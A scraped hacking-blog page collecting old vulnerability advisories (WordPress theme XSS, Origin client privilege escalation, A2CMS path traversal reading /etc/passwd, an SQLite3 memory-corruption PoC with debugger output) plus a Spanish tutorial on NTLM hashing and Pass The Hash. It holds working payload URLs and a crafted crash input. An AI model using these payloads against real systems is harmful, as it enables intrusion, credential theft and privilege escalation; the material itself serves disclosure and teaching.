Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863123687

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/49873/info

The Cover WP theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Cover WP theme 1.6.6 are vulnerable. 

http://www.example.com/?s=[XSS] 
            
source: https://www.securityfocus.com/bid/49874/info

The Web Minimalist theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Web Minimalist theme 1.4 are vulnerable. 

 http://www.example.com/wp/index.php/[XSS] 
            
source: https://www.securityfocus.com/bid/49875/info

The Pixiv Custom theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/?cpage=[xss] 
            
source: https://www.securityfocus.com/bid/49878/info

The Morning Coffee theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Morning Coffee theme prior to 3.6 are vulnerable. 

http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t 
            
HireHackking
NTLM (NT Lan Manager) consiste en una serie de protocolos de autenticación utilizados en los entornos Windows. Estos protocolos permiten que un usuario demuestre su identidad a un servidor. Es en esta autenticación donde nosotros como atacantes, podemos aprovecharnos para, entre otras cosas, hacer Pass The Hash.
Índice:
Terminología ¿Qué es Pass The Hash? Hash LM NTLM (Aka. Hash NT) Autenticación Net-NTLMv2Negotiation Request/Response Session Setup Request (Message Type 1) Session Setup Response (Message Type 2) Session Setup Request (Message Type 3) Session Setup Response Autenticación NTLM en un Directorio Activo Punto de vista del Pentesting Referencias
Terminología
Antes de empezar a explicar cosas, vamos a dejar clara la terminología, ya que puede llegar a ser muy confusa:
NTLM = Hash NT (también puede incluir el hash LM). Es el hash almacenado en la SAM (Security Account Manager) o en el archivo NTDS si estamos en un controlador de dominio. NTLMv2 = Hash Net-NTLMv2 = Respuesta del cliente al challenge del servidor (Versión 2 de Net-NTLM) = Autenticación de desafío/respuesta = Autenticación NTLM Sí, son un poco liosos estos de Microsoft 😥😢.
¿Qué es Pass The Hash?
Una de las características más únicas del pentesting a Windows es Pass The Hash. Esta técnica para quien no la conozca, consiste en que básicamente si conoces el hash NTLM (Aka. hash NT) de un usuario, y ese usuario tiene los suficientes privilegios en el sistema. Puedes tanto ejecutar comandos como obtener una shell en el equipo Windows, solo conociendo su hash, ejemplo:
Pass The Hash cuando se ve por primera vez puede resultar extraño e incluso mágico. Pero una vez se conoce el proceso de autenticación NTLM, veremos el fallo de este protocolo y por qué permite esta técnica.
Antes de ir al proceso de autenticación, vamos a ver como se crean los dos tipos de hashes usados en almacenamiento de contraseñas en Windows, el hash NT y el hash LM.
Hash LM
El hash LM (Lan Manager) fue la forma por defecto en la que se almacenaban las contraseñas en Windows hasta el Windows XP y Windows Server 2003. Y está deshabilitado desde Windows Vista y Windows Server 2008 (aunque se puede seguir activando a día de hoy por temas de compatibilidad con sistemas antiguos).
LM era un algoritmo de hash bastante inseguro, y para saber por qué, vamos a ver el proceso de generación del hash:
Paso 1. Supongamos que la contraseña de mi usuario es «password123». Pues el primer paso del proceso es pasarlo todo a mayúsculas, es decir, pasar de «password123» a «PASSWORD123«.
En caso de que la contraseña sea menor a 14 caracteres, se rellena con caracteres nulos (OJO, se representan con ceros, pero no hay que confundirlos como tal, os dejo por aquí un post que recomiendo) hasta llegar a esta longitud, es decir, que, por lo tanto, nuestra contraseña se convertiría en: «PASSWORD123000«.Aquí te puedes preguntar, bueno, y ¿qué pasa si mi contraseña tiene 15 caracteres o más? Pues que no es una contraseña válida, el límite del algoritmo LM son contraseñas con longitud de hasta 14 caracteres. Paso 2. El resultado del primer paso, ahora se divide en dos cadenas de 7 bytes cada una:
1ª Cadena: «PASSWOR« 2ª Cadena: «D123000« Paso 3. Estas dos cadenas se van a usar para generar dos claves DES (Data Encryption Standard). Una clave DES está formada por 64 bits (8 bytes). Sin embargo, siendo cada cadena de 7 bytes, cada una hará un total de 56 bits. Por lo que para completar la clave DES y llegar a 64 bits, tenemos que añadir un bit de paridad por cada 7 bits (Explicación del Bit de Paridad y Explicación del Bit de Paridad en el cifrado DES).
Entonces, cada cadena la pasamos a binario y le añadimos un bit de paridad por cada 7 bits. Ahora mismo te ha podido explotar la cabeza, pero en la siguiente imagen verás mucho más claro el proceso:
Esto resulta en dos claves DES de 64 bits cada una, una correspondiente a la cadena «PASSWOR» y otra a la cadena «D123000«:
Aquí te puedes preguntar por qué, siendo un bit de paridad, hemos colocado solo ceros y no hemos evaluado si serían un 1, o un 0. Esto es porque aunque sí que es cierto que es un bit de paridad. Ocurren dos cosas:
Al final dependerá si la implementación de DES tendrá en cuenta la paridad o no. El bit de paridad en este caso no afectará al proceso de cifrado, lo que conlleva lo mencionado en el punto 1, esta implementación no la tendrá en cuenta, por lo que se pone todo en cero. De hecho, puedes hacer la prueba calculando el hash LM manualmente cambiando en cada caso los bits de paridad, poniéndolo todo en cero y luego poniéndolo todo en uno, ya verás que no habrá diferencia en el resultado final. Paso 4. Estas dos claves DES que hemos generado, las vamos a usar (cada una por separado) para encriptar el siguiente string en modo ECB:
KGS!@#$% Para ello, podemos usar esta calculadora online.
Tenemos que rellenar dos campos, el campo «Key» y el «Input Data«. En este caso, la calculadora espera ambos datos en hexadecimal, por lo que tenemos que pasarlo a ese formato.
Procedimiento para la cadena «PASSWOR«: De las dos claves que hemos calculado previamente, usaremos la clave correspondiente a esta cadena. Por lo que la pasamos a hexadecimal:
De la misma forma, el string a encriptar se trata de KGS!@#$% por lo que lo pasamos también a hexadecimal:
Con esto hecho, usamos la calculadora:
Obtenemos que:
PASSWOR = E52CAC67419A9A22
Ahora procedemos con la segunda cadena.
Procedimiento para la cadena «D123000«: Pasamos la segunda clave que generamos anteriormente a hexadecimal:
Y ahora volvemos a la calculadora, ya que el string a encriptar ya lo pasamos a hexadecimal antes, solo tenemos que cambiar el valor del campo «Key«:
Obtenemos que:
D123000 = 664345140A852F61
Por lo que, para obtener el hash LM, concatenamos el resultado de la primera cadena con el resultado de la segunda:
password123 = E52CAC67419A9A22664345140A852F61
Podemos comprobar que lo hemos hecho bien usando alguna web que crackee el hash LM:
Viendo como se crea un hash LM podemos ver sus desventajas y por qué se quedó en desuso. Por ejemplo, un mismo hash puede pertenecer a muchas contraseñas:
password123 PaSSwoRD123 PassworD123 PASSword123 Porque en el primer paso, todas se convierten en «PASSWORD123«. Por esa misma razón, en la imagen de arriba donde vemos que nos ha crackeado el hash, nos sale «PASSWORD123» y no «password123«, ya que es imposible saber exactamente la contraseña inicial.
Además, en caso de que se quisiese crackear, se podría dividir en dos, de esta forma solo habría que hacerle fuerza bruta a una cadena de 7 caracteres para averiguar una parte de la contraseña.
NTLM (Aka. NT Hash)
El hash NT (Aka. NTLM) es el algoritmo actualmente usado para almacenar las contraseñas en sistemas Windows, es la forma en la que se almacenan en la SAM. No hay que confundir este hash con el hash de autenticación de desafío/respuesta Net-NTLM que veremos más adelante.
Este hash es el hash que obtenemos cuando dumpeamos con mimikatz, de la misma forma, es el hash que necesitamos para hacer Pass The Hash.
Su generación es distinta y más sencilla que la de su predecesor:
Paso 1. La contraseña se pasa a Unicode (UTF-16LE).
Paso 2. Se usa el algoritmo MD4.
La operación completa para generar un hash NTLM sería: MD4(UTF-16LE(<contraseña>))
Ejemplo en python:
Comprobación con servicio online de generación de hash NTLM:
Como podemos comprobar, la generación de este hash es mucho más sencilla que la del hash LM.
Autenticación Net-NTLMv2
El hash Net-NTLMv2 es el hash que se genera en cada autenticación cliente/servidor, por lo que no es un hash que se almacene, sino que dependerá de cada comunicación.
Ya hemos visto como se forman los hashes LM y NT, por lo que ahora vamos a ver como funciona una autenticación a través de la red, y como es a través de este proceso del cual nos aprovechamos para hacer Pass The Hash.
Cuando se realiza una autenticación a Windows a través de la red, el proceso que se sigue es el siguiente:
A nivel de paquetes, se ve de esta forma:
Vamos a ir poco a poco, explicando cada paso para entender el proceso completo.
Para tener el control de la autenticación y no generar ruido innecesario en la red, vamos a usar un script en python.
Por último, para tenerlo claro:
Cliente: 192.168.118.10 Servidor: 192.168.118.128 Negotiation Request/Response
Primero de todo, iniciamos la negociación con el servidor SMB a través de las siguientes líneas de código:
#!/usr/bin/python3 from impacket.smbconnection import SMBConnection myconnection = SMBConnection("sikumy","192.168.118.128") Esto corresponde a:
Y genera los paquetes:
Si nos fijamos, el cliente intenta iniciar una negociación usando el protocolo SMB, sin embargo, el servidor le responde con SMB2, para que negocie de nuevo usando este protocolo, por eso, encontramos 4 paquetes de Negociación cuando solo debería de haber dos:
1º Par de paquetes: Intento de negociación con SMB 2º Par de paquetes: Negociación con SMB2 Esta re-negociación ocurre porque por defecto, siempre se va a intentar utilizar la versión SMB más alta que soporte el cliente y el servidor.
Session Setup Request (Message Type 1)
Una vez se ha negociado los detalles de la autenticación, el cliente procede a autenticarse. Para iniciar el proceso, lo haremos añadiendo una nueva línea de código:
#!/usr/bin/python3 from impacket.smbconnection import SMBConnection myconnection = SMBConnection("sikumy","192.168.118.128") myconnection.login("sikumy", "sikumy123$!") Esta nueva línea iniciará todos los pasos restantes, volviendo al diagrama, iniciará los pasos 3, 4, 5, 6 en su respectivo orden:
Empezando por el primer «Session Setup Andx Request», este paquete contiene:
La firma «NTLMSSP» (NTLMSSP identifier). Flags de negociación (indica opciones soportadas por el cliente, requiere la aceptación por parte del servidor). NTLM Message Type, el cual en este paquete es 1.El Message Type es básicamente una forma de identificar el paquete, puede ser 1, 2 o 3:Message Type 1: Paquete que contiene la lista de opciones soportadas por el cliente. Message Type 2: Además de contener la lista de opciones aceptadas por el servidor, contiene el «challenge«, también conocido como «nonce«. Message Type 3: Paquete que contiene información del cliente (incluyendo dominio y usuario). También contiene la respuesta al «challenge». En la imagen podemos observar el contenido mencionado arriba.
Session Setup Response (Message Type 2)
A la petición enviada arriba, le sigue la respuesta por parte del servidor:
El servidor responde con:
La firma «NTLMSSP» (NTLMSSP identifier) de nuevo. NTLM Message Type, en este caso, podemos ver como es 2. Nombre del servidor e información sobre él, gracias a la flag «NTLMSSP_NEGOTIATE_TARGET_INFO» que habíamos enviado en la petición. El challenge (16 bytes) (es una cadena aleatoria). Session Setup Request (Message Type 3)
Ahora que tenemos el challenge, debemos demostrar que tenemos la contraseña del usuario, es decir, tenemos que demostrar que nuestras credenciales son válidas. Eso si, no tenemos que enviar ni la contraseña, ni el hash de la misma, a través de la red.
¿Cómo lo demostramos entonces?
Básicamente, la idea ahora es generar el hash NT de la contraseña que hemos introducido (sea o no correcta, ya que aún no han sido validadas por el servidor). Este hash NT generado es usado para encriptar el «challenge» que hemos recibido en la última respuesta.
El método de encriptado del challenge varía dependiendo de la versión NTLM (Aka. Net-NTLM) que se esté usando y los ajustes propios del servidor. En el caso de NTLMv2, la respuesta tendría la siguiente forma:
<usuario>::<dominio>:<challenge>:<challenge encriptado>:BLOB
Ejemplo de hash NTLMv2 (Aka. Net-NTLMv2):
Aquí hay que explicar a que nos referimos con «BLOB» y como generamos el «challenge encriptado». Para ello, vamos a ver el algoritmo NTLMv2:
El cliente calcula el hash NT de la contraseña que ha introducido el usuario. Esto resulta en una cadena de 16 bytes. Ahora, la versión unicode del nombre del usuario en mayúsculas y la versión unicode del nombre del dominio (también puede ser el nombre del servidor) en mayúsculas se concatenan para formar el «target string» (TS). Con esto hecho, se usará el «target string» y el hash NT en el algoritmo HMAC-MD5, usando como «Key» el hash NT para obtener un hash NTLMv2 de 16 bytes. Ahora se crea, lo que se conoce como «BLOB», es básicamente un bloque compuesto por:4 bytes –> firma BLOB (0x01010000) 4 bytes –> reservado (0x00000000) 8 bytes –> marca de tiempo (64 bits que representa el número de décimas de microsegundo desde el 1 de enero de 1601 hasta la fecha actual) 8 bytes –> aleatorio 4 bytes –> Debe de ser 0x00000000. Variable, formado por 2 bytes:Nombre de Dominio NetBIOS (4 bits) –> 0x0002 Nombre del servidor NetBIOS (4 bits) –> 0x0001 Nombre DNS del Dominio (4 bits) –> 0x0004 Nombre DNS del Servidor (4 bits) –> 0x0003 Ver documentación oficial de la variable. 4 bytes –> relleno (bytes random) Ahora, se concatena el «challenge» y el bloque «BLOB», esto, se le pasa al algoritmo HMAC-MD5. Se usará como «Key» el hash NTLMv2 que generamos en el paso 3. Esto generará un hash NTLMv2 que será la primera parte de la respuesta, es decir, lo siguiente: El resto del hash Net-NTLMv2 corresponde al propio BLOB:
Documentación Oficial de NTLMv2.
Por lo que en conclusión, la respuesta por parte del cliente a la petición donde el servidor nos envía el challenge es:
NTLMv2 = HMAC-MD5((challenge + blob), NTLMv2 como Key) Respuesta = NTLMv2 + BLOB Que corresponde con:
Podemos ver como es el mismo valor, únicamente la respuesta NTLMv2 no tiene los dos puntos que separan el NTLMv2 y el BLOB en la segunda imagen.
Session Setup Response
Una vez el servidor recibe la respuesta anterior, hace el mismo proceso, pero con el hash que ya tiene almacenado del propio usuario. Cuando lo calcula, compara la salida que ha generado con la salida que nosotros (el cliente) le hemos enviado. Si los hashes NT con los que se han hecho todo el proceso, son distintos, darán un output totalmente distinto, lo que significará que el usuario puso una contraseña errónea, de lo contrario, serán iguales y la autenticación será válida.
En la respuesta, podemos comprobar si la autenticación ha tenido éxito o no:
Si las credenciales fueran inválidas obtendríamos esta respuesta:
Te puedes preguntar, como calcula el servidor su propia respuesta NTLMv2. Ya que, algunos parámetros usados para generar esta respuesta siempre son dinámicos, como por ejemplo, la marca de tiempo (timestamp).
Por lo que si yo genero una respuesta NTLMv2 y luego el servidor genera otra para verificar si son iguales, es imposible que lo sean.
¿Qué ocurre entonces?
La solución es sencilla, la respuesta NTLMv2 que nosotros como cliente enviamos, contiene el BLOB en texto plano, por lo que el servidor coge los parámetros de este BLOB y los usa para generar su propia respuesta. De esta forma, la única variable posible y de lo que todo dependerá será del hash NT.
Se usan hashes NT iguales = Autenticación válida Se usan distintos = Autenticación inválida En conclusión, como podemos comprobar, la contraseña en texto claro no se ha usado en ningún momento de la autenticación salvo para generar su hash NT. Por lo que teniendo el hash NT es exactamente lo mismo que si tuviésemos la contraseña en texto claro (a nivel práctico), por eso, Pass The Hash existe y funciona.
Autenticación NTLM en un Directorio Activo
Si estamos en un directorio activo, cambia un poco la autenticación, ya que si estamos intentando autenticarnos en un equipo, corresponde al Domain Controller (DC), validar las credenciales.
Por lo que el proceso de autenticación sería el siguiente:
En la petición RPC NetLogon, el servidor enviará al Controlador de Dominio el:
Usuario Challenge Respuesta al Challenge (Challenge encriptado) El controlador de dominio verificará si la autenticación es válida usando el hash NT almacenado en el archivo NTDS.
Lo que determine el controlador de dominio será enviado en la respuesta RPC NetLogon al servidor, y posteriormente a nosotros.

Punto de vista del Pentesting
Hemos visto mucha teoría en este post. Teoría que es interesante saber para conocer realmente que ocurre detrás de las técnicas que empleamos. Para acabar, un mini recordatorio sobre para qué nos puede servir cada hash de cara al pentesting:
Hash NT –> Podemos usarlo tanto para realizar Pass The Hash como para intentar crackearlo. Hash Net-NTLM –> Podemos intentar crackearlo, pero no lo podemos usar para Pass The Hash.Este tipo de autenticación se puede usar para realizar ataques como el SMB Relay.
Referencias
Windows authentication attacks – part 1 Understanding NTLM Authentication Step by Step The NTLM Authentication Protocol and Security Support Provider What is the difference between NULL, ‘\0’ and 0? Bit de paridad: para qué sirve, cómo funciona How should I create my DES key? Why is an 7-character string not enough? NTLM Terminology Mechanics of User Identification and Authentication – Fundamentals of Identity Management NTLM v2: NTLMv2_CLIENT_CHALLENGE AV_PAIR NTLM/LM Hashes on Domain Controller Disabling NTLM v1 On Windows Computer Practical guide to NTLM Relaying in 2017 Microsoft NTLM
HireHackking
Electronic Arts Origin Client 9.5.5 Multiple Privilege Escalation Vulnerabilities Vendor: Electronic Arts Inc. Product web page: https://www.origin.com Affected version: 9.5.5.2850 (353317) 9.5.3.636 (350385) 9.5.2.2829 (348065) Summary: Origin (formerly EA Download Manager (EADM)) is digital distribution software from Electronic Arts that allows users to purchase games on the internet for PC and mobile platforms, and download them with the Origin client (formerly EA Download Manager, EA Downloader and EA Link). Desc#1: The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the 'F' flag (full) for the 'Everyone' and 'Users' group, for the 'OriginClientService.exe' binary file, and for all the files in the 'Origin' directory. The service is installed by default to start on system boot with LocalSystem privileges. Attackers can replace the binary with their rootkit, and on reboot they get SYSTEM privileges. Desc#2: Origin client service also suffers from an unquoted search path issue impacting the 'Origin Client Service' service for Windows deployed as part of the Origin Thin Setup bundle. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application. Tested on: Microsoft Windows 7 Professional SP1 (EN) Microsoft Windows 7 Ultimate SP1 (EN) Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5231 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5231.php 14.12.2014 ************************************************************************** C:\>sc qc "Origin Client Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Origin Client Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Origin\OriginClientService.exe <-----< Unquoted path LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Origin Client Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>cacls "C:\Program Files (x86)\Origin\OriginClientService.exe" c:\Program Files (x86)\Origin\OriginClientService.exe Everyone:(ID)F <-----< Full control BUILTIN\Users:(ID)F <-----< Full control NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F C:\> ************************************************************************** ************************************************************************** C:\>cscript XCACLS.vbs "C:\Program Files (x86)\Origin\*.exe" Microsoft (R) Windows Script Host Version 5.8 Copyright (C) Microsoft Corporation. All rights reserved. Starting XCACLS.VBS (Version: 5.2) Script at 15.12.2014 19:46:41 Startup directory: "C:\" Arguments Used: Filename = "C:\Program Files (x86)\Origin\*.exe" ************************************************************************** File: C:\Program Files (x86)\Origin\EAProxyInstaller.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\igoproxy64.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\Origin.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\OriginClientService.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\OriginCrashReporter.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\OriginER.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** ************************************************************************** File: C:\Program Files (x86)\Origin\OriginUninstall.exe Permissions: Type Username Permissions Inheritance Allowed \Everyone Full Control This Folder Only Allowed BUILTIN\Users Full Control This Folder Only Allowed NT AUTHORITY\SYSTEM Full Control This Folder Only Allowed BUILTIN\Administrators Full Control This Folder Only No Auditing set Owner: BUILTIN\Administrators ************************************************************************** Operation Complete Elapsed Time: 0,1796875 seconds. Ending Script at 15.12.2014 19:46:41 C:\> ************************************************************************** -- ************************************************************************** Changed permissions and service binary path name (vendor fix): -------------------------------------------------------------- C:\>sc qc "Origin Client Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Origin Client Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files (x86)\Origin\OriginClientService.exe" <-----< Quoted path LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Origin Client Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>icacls "C:\Program Files (x86)\Origin\OriginClientService.exe" C:\Program Files (x86)\Origin\OriginClientService.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) <-----< Read and execute Successfully processed 1 files; Failed processing 0 files C:\> **************************************************************************
HireHackking

SQLite3 3.8.6 - Controlled Memory Corruption (PoC)

# Exploit Title: SQLite3 controlled memory corruption PoC (0day) # Date: [date] # Exploit Author: Andras Kabai # Vendor Homepage: http://www.sqlite.org/ # Software Link: http://www.sqlite.org/download.html # Version: 3.8.6, 3.8.8.3 # Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code) Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker. The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source. ==== andrew@ubufuzzx6401:~/issues/sqlite$ which sqlite3 /usr/bin/sqlite3 andrew@ubufuzzx6401:~/issues/sqlite$ /usr/bin/sqlite3 -version 3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19e andrew@ubufuzzx6401:~/issues/sqlite$ gdb64 /usr/bin/sqlite3 GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) set args < sqlitepoc.txt (gdb) r Starting program: /usr/bin/sqlite3 < sqlitepoc.txt warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Usage: .trace FILE|off Error: near line 4: near "whatever": syntax error Usage: .trace FILE|off Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 (gdb) i r rax 0x138 312 rbx 0x41414141424242 18367622009733698 rcx 0x7fffffffb590 140737488336272 rdx 0x0 0 rsi 0x555555779b43 93824994483011 rdi 0x41414141424242 18367622009733698 rbp 0x555555779b43 0x555555779b43 rsp 0x7fffffffb4c0 0x7fffffffb4c0 r8 0x555555779b41 93824994483009 r9 0x6c 108 r10 0x0 0 r11 0x0 0 r12 0x555555779b48 93824994483016 r13 0x7fffffffb590 140737488336272 r14 0x555555779b40 93824994483008 r15 0x2 2 rip 0x7ffff7ba06a0 0x7ffff7ba06a0 <sqlite3_load_extension+736> eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) disas $rip,+10 Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa: => 0x00007ffff7ba06a0 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7ba06a3 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7ba06a6 <sqlite3_load_extension+742>: lea rax,[rip+0x12bc1] # 0x7ffff7bb326e End of assembler dump. === andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version 3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6b andrew@ubufuzzx6401:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3 GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./lt-sqlite3...done. (gdb) set disassembly-flavor intel (gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt (gdb) r Starting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txt warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch). [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Usage: .trace FILE|off Error: near line 4: near "whatever": syntax error Usage: .trace FILE|off Program received signal SIGSEGV, Segmentation fault. sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:36169 36169 } (gdb) i r rax 0x138 312 rbx 0x41414141424242 18367622009733698 rcx 0x7fffffffb510 140737488336144 rdx 0x0 0 rsi 0x6261c3 6447555 rdi 0x41414141424242 18367622009733698 rbp 0x6261c3 0x6261c3 rsp 0x7fffffffb440 0x7fffffffb440 r8 0x6261c1 6447553 r9 0x6c 108 r10 0x7fffffffb270 140737488335472 r11 0x7ffff7b5ae50 140737349267024 r12 0x6261c8 6447560 r13 0x7fffffffb510 140737488336144 r14 0x6261c0 6447552 r15 0x2 2 rip 0x7ffff7b5b130 0x7ffff7b5b130 <sqlite3_load_extension+736> eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) disas $rip,+10 Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a: => 0x00007ffff7b5b130 <sqlite3_load_extension+736>: call QWORD PTR [rbx+0x48] 0x00007ffff7b5b133 <sqlite3_load_extension+739>: mov r15,rax 0x00007ffff7b5b136 <sqlite3_load_extension+742>: lea rax,[rip+0x587d8] # 0x7ffff7bb3915 End of assembler dump. ==== andrew@ubufuzzx6401:~/issues/sqlite$ hexdump -C sqlitepoc.txt 00000000 3b 0a 2e 74 20 78 0a 2e 74 0a 77 68 61 74 65 76 |;..t x..t.whatev| 00000010 65 72 00 0a 3b 0a 2e 74 0a 2e 6f 70 0a 2e 6c 20 |er..;..t..op..l | 00000020 43 43 43 43 42 42 42 42 41 41 41 41 0a |CCCCBBBBAAAA.| 0000002d
HireHackking

A2CMS - 'index.php' Local File Disclosure

source: https://www.securityfocus.com/bid/49883/info A2CMS is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input. Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. http://www.example.com/js/index.php?f=../../../../etc/passwd 2011-09-28
HireHackking

ProjectForum 7.0.1 3038 - 'more' Object HTML Injection

